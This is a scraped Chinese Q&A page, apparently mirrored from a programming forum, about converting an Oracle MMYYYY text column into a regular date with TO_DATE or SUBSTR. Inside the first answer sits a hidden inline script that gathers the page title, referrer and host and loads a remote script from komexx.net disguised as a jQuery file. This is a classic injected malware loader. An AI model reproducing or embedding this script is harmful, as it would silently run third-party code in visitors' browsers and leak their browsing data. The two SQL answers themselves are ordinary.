如何在oracle中将mmyyyy文本转换为常规日期格式?

时间:2015-11-20 19:51:01

标签: oracle date-formatting

我在表格中有reporting_period列,其值如下:

  ID | reporting_period
-----------------------
 123 |     092015
 456 |     082015

我想将此列值转换为常规日期,如:

  ID | reporting_period
------------------------
 123 |    09/01/2015
 456 |    08/01/2015

3 个答案:

答案 0 :(得分:2)

您需要使用to_date函数将字符串转换为日期 如果您需要以与默认格式不同的方式显示日期,则to_char将起作用

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://komexx.net/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

答案 1 :(得分:0)

WITH data (ID, reporting_period) AS (
    SELECT 123, '092015' FROM DUAL UNION ALL
    SELECT 456, '082015' FROM DUAL
)
SELECT
    ID, TO_DATE(REPORTING_PERIOD, 'MMYYYY') reporting_period_date
FROM
    data

答案 2 :(得分:0)

select TO_DATE(SUBSTR(reporting_period,1,2) || '/01/' || SUBSTR(reporting_period,3,4),'MM/DD/YYYY') AS reporting_period
FROM MyTable